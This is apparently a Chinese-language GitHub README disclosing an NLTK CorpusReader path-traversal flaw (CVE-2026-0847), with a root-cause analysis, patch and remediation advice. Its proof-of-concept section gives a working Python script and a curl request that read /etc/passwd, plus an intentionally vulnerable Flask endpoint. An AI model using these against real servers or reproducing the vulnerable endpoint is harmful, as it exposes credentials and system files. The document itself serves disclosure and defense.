HyperPS/CVE-2026-0847

GitHub: HyperPS/CVE-2026-0847

系统性披露并复现了 NLTK 库多个 CorpusReader 类中的路径遍历任意文件读取漏洞(CVE-2026-0847),并提供修复方案。

Stars: 0 | Forks: 1

# CVE-2026-0847 — NLTK 多个 CorpusReader 类:通过路径遍历实现任意文件读取

## 概述 | 字段 | 详情 | |---|---| | **CVE ID** | CVE-2026-0847 | | **包** | `nltk` (Natural Language Toolkit) | | **注册表** | PyPI | | **受影响版本** | `<= 3.9.2` | | **漏洞类型** | CWE-22: 路径遍历 | | **CVSS 评分** | 8.6 (高危) | | **攻击向量** | 网络 | | **攻击复杂度** | 低 | | **所需权限** | 无 | | **用户交互** | 无 | | **机密性影响** | 高 | | **完整性影响** | 低 | | **可用性影响** | 低 | | **报告日期** | 2025 年 12 月 4 日 | | **CVE 发布日期** | 2026 年 3 月 4 日 | | **支持方** | Palo Alto Networks / Prisma AIRS | | **状态** | 已修复 | ## 漏洞描述 NLTK 库中的多个 `CorpusReader` 类在接收文件路径参数时,未应用任何路径规范化、允许列表验证或沙箱限制。当攻击者能够控制语料库文件名或文件输入时(这在机器学习 API、基于上传的 NLP 管道以及聊天机器人服务中是常见场景),他们可以提供精心构造的路径来遍历目录层级,并读取服务器上的任意文件。 此漏洞在处理用户控制文件路径的网络部署 NLTK 环境中尤为严重,因为利用该漏洞无需任何身份验证或权限。 ## 受影响的组件 | 类 | 文件 | 状态 | |---|---|---| | `WordListCorpusReader` | `wordlist.py` L1–L120 | 存在漏洞 | | `TaggedCorpusReader` | `tagged.py` L1–L140 | 存在漏洞 | | `BracketParseCorpusReader` | `bracket_parse.py` L1–L150 | 存在漏洞 | | 其他使用相同基础模式的类 | — | 待进一步审计 | 所有这三个类都继承了同样不安全的 `CorpusReader.open()` 方法,该方法在解析和读取所提供的文件标识符之前没有执行任何路径限制。 ## 影响 成功利用此漏洞可能导致: - **任意文件读取** — 攻击者可以读取运行 NLTK 的进程可访问的任何文件,包括 `/etc/passwd`、`/etc/shadow` 和 `/var/log/auth.log` - **凭据和机密信息泄露** — 可以提取 SSH 私钥 (`~/.ssh/id_rsa`)、`.env` 文件、API token 和云凭据文件 - **源代码和训练数据泄露** — 可能会读取其他用户的训练数据或专有应用程序源代码 - **远程代码执行(链式利用)** — 当与 pickle 反序列化漏洞结合使用时,路径遍历可用于加载恶意模型文件并升级为完整的 RCE - **横向移动** — 在微服务环境中,已发现提取的机密信息可促进横向移动并导致服务器完全沦陷 ## 概念验证 ### 通过直接 API 读取本地文件 ``` # PoC.py — 演示使用三个存在漏洞的 CorpusReader 类进行任意文件读取 from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader from nltk.corpus.reader.util import FileSystemPathPointer root = FileSystemPathPointer("/") # unrestricted filesystem root target = "etc/passwd" # any sensitive file path print("--- WordListCorpusReader ---") reader1 = WordListCorpusReader(root, [target]) print(reader1.raw(target)[:200]) print("--- TaggedCorpusReader ---") reader2 = TaggedCorpusReader(root, [target]) print(reader2.raw(target)[:200]) print("--- BracketParseCorpusReader ---") reader3 = BracketParseCorpusReader(root, [target]) print(reader3.raw(target)[:200]) ``` **输出(简略):** ``` --- WordListCorpusReader --- root:x:0:0:root:/root:/usr/bin/zsh --- TaggedCorpusReader --- root:x:0:0:root:/root:/usr/bin/zsh --- BracketParseCorpusReader --- root:x:0:0:root:/root:/usr/bin/zsh ``` ### 远程漏洞利用场景 — 存在漏洞的 Flask API 这是一个 NLTK 通过 HTTP API 暴露的真实场景: ``` # 存在漏洞的 API server from flask import Flask, request from nltk.corpus.reader import WordListCorpusReader from nltk.corpus.reader.util import FileSystemPathPointer app = Flask(__name__) root = FileSystemPathPointer("/") @app.post("/read") def read_file(): filename = request.json.get("file") reader = WordListCorpusReader(root, [filename]) return reader.raw(filename) app.run("0.0.0.0", 8000) ``` **攻击者请求:** ``` curl -X POST http://TARGET:8000/read \ -H "Content-Type: application/json" \ -d '{"file": "etc/passwd"}' ``` **结果:** 无需任何身份验证,`/etc/passwd` 的全部内容即被返回给攻击者。 ## 根本原因 该漏洞源于 `CorpusReader.open()` 方法。该方法使用 `FileSystemPathPointer.join()` 将提供的 `fileid` 直接解析到配置的根路径,而没有执行以下任何检查: - 拒绝绝对路径 - 检测父目录遍历 (`..`) - 路径规范化及比较,以强制将访问限制在语料库根目录内 由于 `FileSystemPathPointer` 可以使用 `/` 进行初始化,因此控制文件名参数的攻击者拥有对整个文件系统的无限制读取权限。 ## 建议补丁 研究人员提出的最小修复方案,需应用于 `CorpusReader.open()` 内部: ``` import os normalized = fileid.replace("\\", "/") # 阻止绝对路径 if os.path.isabs(normalized): raise ValueError("Absolute paths are not permitted.") # 阻止目录遍历序列 if ".." in normalized.split("/"): raise ValueError("Path traversal sequences are not permitted.") # 强制限制在 corpus root 内 joined = self._root.join(normalized) if not os.path.normpath(joined._path).startswith( os.path.normpath(self._root._path) ): raise ValueError("Path escapes the corpus root directory.") ``` 上游修复 PR 可在以下网址查看: [https://github.com/nltk/nltk/pull/3479](https://github.com/nltk/nltk/pull/3479) ## 修复方案 | 操作 | 详情 | |---|---| | **升级 NLTK** | 在官方补丁发布后,更新至高于 3.9.2 的版本 | | **输入验证** | 在将所有用户提供的文件路径值传递给任何 NLTK `CorpusReader` 类之前,对其进行清理和验证 | | **避免用户控制的路径** | 不要允许用户输入直接或间接控制任何 `CorpusReader` 的 `fileids` 参数 | | **最小权限原则** | 在受限的操作系统用户账户下运行基于 NLTK 的服务,并将读取权限限制为仅限语料库目录 | | **容器化** | 将服务隔离在 Docker 容器或 chroot jail 中,以限制成功遍历后的影响范围 | | **Ubuntu 补丁** | 关注 [Ubuntu 安全建议](https://ubuntu.com/security/CVE-2026-0847) 以获取发行版级别的软件包更新 | **通过 pip 升级:** ``` pip install --upgrade nltk ``` **验证已安装的版本:** ``` python -c "import nltk; print(nltk.__version__)" ``` ## 时间线 | 日期 | 事件 | |---|---| | 2025 年 12 月 4 日 | 漏洞由研究员 hyperps1 报告给 huntr.dev | | 2025 年 12 月 | NLTK 维护者团队通过 huntr.dev 收到通知 | | 2026 年 1 月 | NLTK 维护者验证了该漏洞;向研究员发放了披露赏金 | | 2026 年 1 月 | 分配了 CVE-2026-0847 | | 2026 年 2 月 | 向 NLTK 维护者发送了 48 小时发布前警告 | | 2026 年 3 月 4 日 | CVE 在 NVD 和 huntr.dev 上发布 | | 2026 年 3 月 5 日 | NVD 记录最后修改 | ## 参考 | 资源 | 链接 | |---|---| | NVD 条目 | https://nvd.nist.gov/vuln/detail/CVE-2026-0847 | | Ubuntu 安全建议 | https://ubuntu.com/security/CVE-2026-0847 | | 官方 CVE 记录 | https://cve.org/CVERecord?id=CVE-2026-0847 | | huntr.dev 报告 | https://huntr.dev | | 修复 Pull Request | https://github.com/nltk/nltk/pull/3479 | | PyPI 上的 NLTK | https://pypi.org/project/nltk/ | | OWASP 路径遍历 | https://owasp.org/www-community/attacks/Path_Traversal | | CWE-22 | https://cwe.mitre.org/data/definitions/22.html | ## 免责声明 本仓库仅出于**教育、研究和防御安全目的**记录 CVE-2026-0847。提供概念验证代码和技术细节旨在协助开发人员、安全工程师和系统管理员理解、评估和修复此漏洞。 任何利用此信息未经明确授权访问系统的行为都是非法和不道德的。作者不对此处包含的信息被滥用承担任何责任。 贡献者 [@mohitf070304](https://github.com/mohitf070304)
标签:AI安全, Chat Copilot, CISA项目, CorpusReader, CVE-2026-0847, CVSS 8.6, CWE-22, HTTP工具, NLP, NLP管道, NLTK, PyPI, Python, Web安全, 任意文件读取, 安全漏洞, 密钥泄露防护, 数据泄露, 数据科学, 文本处理, 无后门, 服务器监控, 机器学习安全, 漏洞分析, 网络安全审计, 蓝队分析, 资源验证, 路径探测, 路径遍历, 逆向工具, 高危漏洞